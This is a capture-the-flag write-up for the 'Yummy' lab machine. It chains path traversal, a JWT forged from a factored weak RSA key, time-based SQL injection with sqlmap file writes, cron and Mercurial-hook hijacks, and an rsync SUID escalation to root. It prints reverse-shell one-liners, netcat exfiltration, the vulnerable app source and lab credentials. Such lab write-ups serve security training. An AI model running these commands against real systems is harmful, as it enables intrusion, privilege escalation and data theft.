Linux - Hard - Yummy

Recon

whatweb yummy.htb
http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.129.231.153], Lightbox, Script, Title[Yummy]
$sudo nmap -p- -A 10.129.231.153
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We can find reservation feature, that actaully works. Creating a reservation, tells us that we can menage it in our account. Strannge, as I did not create one yet, but sure.

POST /book HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://yummy.htb
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=test&email=test%40test.com&phone=1231231231231&date=2024-10-27&time=10%3A57&people=3&message=test
POST /login HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/login
Content-Type: application/json
Content-Length: 43
Origin: http://yummy.htb
DNT: 1
Connection: close
Cookie: X-AUTH-Token=
Priority: u=0

{"email":"test@test.com","password":"test"}

Ater creating account and logging in, we get our dashboard with our reseration. We can also export our reservation to icalendar file.

BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: admin@yummy.htb\nNumber of People: 4\nMessage: 123
DTSTART:20241027T000000Z
SUMMARY:admin
UID:f119cc51-0833-4a5f-a3fa-47a52bc3dbf5@f119.org
END:VEVENT
END:VCALENDAR

We can see that it is being generated using ics.py. It’s in version 0.8.0.dev0, so there might be a way to exploit it’s parsing. There are some CVE’s, but none for this exact library. Looking at burp, we can see that we also get our file from /export.

Path traversal

I tried doing simple path traversal, but to no avail. Then, looking at burp I traced how we get the icalendar file. I modified location of file that is being retrieved and got passwd. Finally something.

bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

From it, we can see that there are users qa and dev. Checking their home folders, none of them have id_rsa in their home folders. We can get Caddyfile though.

:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server  
    }
}

Another standard file that we can read would be /etc/crontab. Bingo.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Content’s of app_backup.sh :

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

In the zip file, we can find app.py file, with juicy contents (only relevant to the admin dashboard parts here, full script at the bottom).

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)
        
def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None

Contents of table_cleanup.sh

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

Conetns of dbmonitor.sh

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

Does not exist on the server /data/scripts/dbstatus.json. I was trying to find .sql file, so I could not do so for an hour, so time to crack the app.

In /login we can see how our token is created: access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256'). Using jwt.io we can decode it and see that it matches our expectations.

What is fun, is that sometimes the token is generated for me was <SNIP>WY37Yzz6Ho46CVE. Nice.

Cracking the app

I had no idea how JWT works, nor RS256 so had to educate myself a bit here. For a [TLDR] this is a good fireship video. Then I’ve found Jan Goebel video explaining RS256. It turns out it stands for RSA + SHA256. So the data is being sent as b64 encoded plain text (that is why jwt.io is being able to decode it) and then at the bottom separated with a dot is attached first encrypted, then hashed message seen above. If you need a reminder of how rsa works, here is a great site.

Digging deeper in the source code we can find verification.py

#!/usr/bin/python3

from flask import request, jsonify
import jwt
from config import signature

def verify_token():
    token = None
    if "Cookie" in request.headers:
        try:
            token = request.headers["Cookie"].split(" ")[0].split("X-AUTH-Token=")[1].replace(";", '')
        except:
            return jsonify(message="Authentication Token is missing"), 401

    if not token:
        return jsonify(message="Authentication Token is missing"), 401

    try:
        data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
        current_role = data.get("role")
        email = data.get("email")
        if current_role is None or ("customer" not in current_role and "administrator" not in current_role):
            return jsonify(message="Invalid Authentication token"), 401

        return (email, current_role), 200

    except jwt.ExpiredSignatureError:
        return jsonify(message="Token has expired"), 401
    except jwt.InvalidTokenError:
        return jsonify(message="Invalid token"), 401
    except Exception as e:
        return jsonify(error=str(e)), 500

We can also find signature.py.

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

With them we get complete overview of how the JWT token is generated and verified. We have to get in the middle of it and modify our role. To do so, we have to get the private key. In our case we are operating on relatively small numbers, so we can crack it using factordb. The tool I used was RsaCtfTool, which used this site, but also had cracking techniques built in. I did not want to work too much on the script, so I am decoding jwt manually using jwt.io, then running RsaCtfTool and then running the script with recieved data.

  1. Get decoded data from jwt.io

  2. Get RSA private key

~/vpy/bin/python3 /home/user/Desktop/yummy/RsaCtfTool/RsaCtfTool.py -n 91718719973617223958685224044018932678041127778096227737762523591810577392288839531332916507728741259438432329535236004349744981846983231890168148088786046554865802114936233706257314578799502219783073478627514629882870679287058027073912950399310255285118365691685566498479814015189660994432439335343986654038298327 --private
  1. Get new JWT
import jwt
from cryptography.hazmat.primitives import serialization

private_key_pem = b"""
-----BEGIN RSA PRIVATE KEY-----
MIICKgIBAAKBgwfI+lC8QiWKXyBEtGQLExGI1cma9D32RqtHK8eJ69na/w8O+tss
24kmTYzHzSpBJHHXYiTKYbTAEPua8lm6wtA4OUhumT+FgBGwR009SbgeZdeXtJ/C
xpZgIj96OzG6gKw4lvu/04JYqQx2b0ZTQQIDAgL6
-----END RSA PRIVATE KEY-----
"""

private_key = serialization.load_pem_private_key(
    private_key_pem,
    password=None,
)

header = {
    "alg": "RS256",
    "typ": "JWT"
}

payload = {
    "email": "1@1.com",
    "role": "administrator",
    "iat": 1730153314,
    "exp": 1730156914,
    "jwk": {
        "kty": "RSA",
        "n": "91718719973617223958685224044018932678041127778096227737762523591810577392288839531332916507728741259438432329535236004349744981846983231890168148088786046554865802114936233706257314578799502219783073478627514629882870679287058027073912950399310255285118365691685566498479814015189660994432439335343986654038298327",
        "e": 65537
    }
}

jwt_token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)

print("Generated JWT:")
print(jwt_token)
  1. Replace data in cookie and access /admindashboard.

It works! If we change our cookie, we can now access /admindashboard without password.

Abusing admin panel

Then as we know from the source code, we can now do sql injection on the o parameter of http://yummy.htb/admindashboard?s=a&o=ASC. Running SQLmap, it diagnoses it as time-based. We can retrieve users table.

Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://yummy.htb/admindashboard?s=hi&o= AND (SELECT 7341 FROM (SELECT(SLEEP(5)))ltOy)


Database: yummy_db
Table: users
[0 entries]
+----+---------+-------+----------+
| id | role_id | email | password |
+----+---------+-------+----------+
+----+---------+-------+----------+

There is nothing interesting in the database, so we have to dig deeper. We have to abuse now the dbmonitor.sh script, as that’s the only thing we have left. In it, we can see that it is executing newest script starting with …, when there is an unknown error in the log file. So let’s do just that, using sqlmap generate script which will grant us reverse shell and trigger it by creating a file.

Here is the relevant part of dbmonitor.sh


  if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down"
        <SNIP>
        else 
         latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
         /bin/bash "$latest_version"
        <SNIP>
sqlmap -r tmp.req --dbms=MySQL --technique=T --level=5 --risk=3 --file-write=dbstatus.json --file-dest=/data/scripts/dbstatus.json --hex

sqlmap -r tmp.req --dbms=MySQL --level=5 --risk=3 --file-write=fixer-vpwned.sh --file-dest=/data/scripts/fixer-vpwned.sh --hex

Newly created dbstatus.json

{
    "status": "Unexpected error in database",
    "time": "Mon Oct 23 10:15:42 UTC 2024"
}

fixer-vpwned.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.21/4444 0>&1

On our host nc -lvnp 4444 and we are finally in. Checking our directory, we can see that there are no scripts that we can execute.

mysql@yummy:/data/scripts$ ls -la
drwxrwxrwx 2 root  root  4096 Oct 30 11:45 .
drwxr-xr-x 3 root  root  4096 Sep 30 08:16 ..
-rw-r--r-- 1 root  root    90 Sep 26 15:31 app_backup.sh
-rw-r--r-- 1 root  root  1336 Sep 26 15:31 dbmonitor.sh
-rw-rw-r-- 1 mysql mysql 1024 Oct 30 11:12 .dbmonitor.sh.swp
-rw-r----- 1 root  root    60 Oct 30 11:45 fixer-v1.0.1.sh
-rw-r--r-- 1 root  root  5570 Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root  root   114 Sep 26 15:31 table_cleanup.sh

Going back to the crontab, we can see that one of the scripts is being executed as www-data, so that’s how we can get user.

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh

We can’t modify this file, but we can remove it and create new one.

mysql@yummy:/data$ ls -l
drwxrwxrwx 2 root root 4096 Oct 30 11:45 scripts

So we can just setup on our host nc -lvnp 5555 and then run on the target rm app_backup.sh && echo "bash -i >& /dev/tcp/10.10.16.21/5555 0>&1" > app_backup.sh.

We are now logged in as www-data, but we still can’t access any of the user folders. In our home directory, there is only one new folder, app-qatesting, owned by qa. In it, we can see all of the same files as in our backuppapp.zip, except for folder .hg.

www-data@yummy:~/app-qatesting$ ls -la
drwxrwx--- 7 www-data qa        4096 May 28 14:41 .
drwxr-xr-x 3 www-data www-data  4096 Oct 30 12:02 ..
-rw-rw-r-- 1 qa       qa       10852 May 28 14:37 app.py
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 config
drwxrwxr-x 6 qa       qa        4096 May 28 14:37 .hg
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 middleware
drwxr-xr-x 6 qa       qa        4096 May 28 14:26 static
drwxr-xr-x 2 qa       qa        4096 May 28 14:26 templates
www-data@yummy:~/app-qatesting/.hg$ ls -la
drwxrwxr-x 6 qa       qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa       qa   57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 branch
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa       qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28 14:26 requires
drwxrwxr-x 4 qa       qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa       qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 wcache

We can zip it with zip -r qa.zip app-qatesting and send over using netcat.

# on victim
nc 10.10.14.134 2222 < qa.zip

# on host
nc -l -p 2222 > qa.zip

Looking for interesting content, we can find app.py.i.

$grep -r "password" ./.hg
grep: ./.hg/store/data/app.py.i: binary file matches

We finally get:
‘user’: ‘qa’
‘password’: ‘jPAd!XQCtn8Oc@2B’

We finally get user flag.

Getting (step closer to) Root

In our home folder we can find file called .hgrc.

# example user config (see 'hg help config' for more info)
[ui]
username = qa

[trusted]
users = qa, dev
groups = qa, dev

Running man hg tells us that it is a Mercurial source code management system. Mercurial is a lesser known alternative to git, so pheraps we can find something interesting using it. That theory is even more likely to be true, as we can run hg as dev.

qa@yummy:~$ sudo -l
[sudo] password for qa: 
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

Looking for ways to execute code using Mercurial, I’ve found that it has hooks. Hooks can be executed when some of the events happen, i.e pre-pull or post-pull. They are being set up in .hgrc in hooks section, located in current dir. That is probably our way in.

We need to find a dir that is both accessible for us and dev, as we will pull as him, so /tmp works. Then we need to create new .hg folder, so that we can run hg. Next, copy ~/.hgrc to our new hg dir using cp ~/.hgrc /tmp/.hg/hgrc. Having hgrc that is a hidden file is not standard and I do not understand why was it like that at the beginning. At the end, we just modify our hgrc and run sudo -u dev /usr/bin/hg pull /home/dev/app-production/.

I did that, just to be meet with abort: pre-pull hook exited with status 2 as it turns out that the hook does not like executing /bin/bash -i >& /dev/tcp/10.10.16.24/4242 0>&1 for some reason. So we just have to put it in a file and run again

hgrc:

[ui]
username = qa

[trusted]
users = qa, dev
groups = qa, dev

[hooks]
pre-pull = /tmp/pwned.sh

Then we get dev shell.

$nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.16.24] from (UNKNOWN) [10.129.231.153] 56468
I'm out of office until November  1th, don't call me

Getting Root

dev@yummy:~$ sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Looking at gtfobins.github.io, we can see that if we have sudo, we can get arbitrary code execution by running ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null. I tried for a long time to modify it and run sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/ -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null, but I did not menage to get root. When running it without sudo, it does spawn a shell. When running with sudo, it allows for writing, but does not respond to it. What I learned later, is that it did ask for password, but did not show it. We can see that after running the same command, but after connecting via ssh to dev. To do so just run on dev:

ssh-keygen -C dev
cat ~/.ssh/id_ed25519.pub >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Looking at infosec stackexchange, we can see that there should be a way nontheless. We know that we can append any flag we want, so let’s see what’s in help.

There is some fun stuff in there like:

--chmod=CHMOD            affect file and/or directory permissions
--chown=USER:GROUP       simple username/groupname mapping

From here it’s seems to be easy. I tried creating file with chmod 4777 /bin/bash, chmoding it to 4777 and chown to root. Well, not as easy as there is a script cleaning our app-production directory. That was not pleasant, as the dirs are being cleaned fast and at the end we get chmod: changing permissions of '/bin/bash': Operation not permitted.

I tried to get somehow root revshell, but did not succeed either. What worked for me finally, was copying the shell, giving it suid and then copying it with rsync. To avoid fighting with the cleaner, I just run a script and finally got root.

#!/bin/bash
cp /bin/bash /home/dev/app-production/rootshell
chmod 4777 /home/dev/app-production/rootshell
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/ --chown root:root /opt/app/
/opt/app/rootshell -p

One of the best boxes that I’ve done so far.

app.py

from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

access_token = ''

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()

@app.route('/logout', methods=['GET'])
def logout():
    response = make_response(redirect('/login'))
    response.set_cookie('X-AUTH-Token', '')
    return response

@app.route('/register', methods=['GET', 'POST'])
def register():
        if request.method == 'GET':
            return render_template('register.html', message=None)
        elif request.method == 'POST':
            role_id = 'customer_' + secrets.token_hex(4)
            email = request.json.get('email')
            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
            if not email or not password:
                return jsonify(error="email or password is missing"), 400
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "SELECT * FROM users WHERE email=%s"
                    cursor.execute(sql, (email,))
                    existing_user = cursor.fetchone()
                    if existing_user:
                        return jsonify(error="Email already exists"), 400
                    else:
                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
                        cursor.execute(sql, (email, password, role_id))
                        connection.commit()
                        return jsonify(message="User registered successfully"), 201
            finally:
                connection.close()


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/book', methods=['GET', 'POST'])
def export():
    if request.method == 'POST':
        try:
            name = request.form['name']
            date = request.form['date']
            time = request.form['time']
            email = request.form['email']
            num_people = request.form['people']
            message = request.form['message']

            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
                    cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
                    connection.commit()
                    flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')  
            except Exception as e:
                print(e)
            return redirect('/#book-a-table')
        except ValueError:
            flash('Error processing your request. Please try again.', 'error')
    return render_template('index.html')


def generate_ics_file(name, date, time, email, num_people, message):
    global temp_dir
    temp_dir = tempfile.mkdtemp()
    current_date_time = datetime.now()
    formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")

    cal = Calendar()
    event = Event()
    
    event.name = name
    event.begin = datetime.strptime(date, "%Y-%m-%d")
    event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
    
    cal.events.add(event)

    temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
    with open(temp_file_path, 'w') as fp:
        fp.write(cal.serialize())

    return os.path.basename(temp_file_path)

@app.route('/export/<path:filename>')
def export_file(filename):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    filepath = os.path.join(temp_dir, filename)
    if os.path.exists(filepath):
        content = send_file(filepath, as_attachment=True)
        shutil.rmtree(temp_dir)
        return content
    else:
        shutil.rmtree(temp_dir)
        return "File not found", 404

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

        return render_template('dashboard.html', appointments=appointments_sorted)

@app.route('/delete/<appointID>')
def delete_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    elif validation == "administrator":
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments where appointment_id= %s;"
                cursor.execute(sql, (appointID,))
                connection.commit()

                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("admindashboard"))
    else:
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
                cursor.execute(sql, (appointID, validation))
                connection.commit()

                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("dashboard"))
        flash("Something went wrong!","error")
        return redirect(url_for("dashboard"))

@app.route('/reminder/<appointID>')
def reminder_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))

    connection = pymysql.connect(**db_config)
    try:
        with connection.cursor() as cursor:
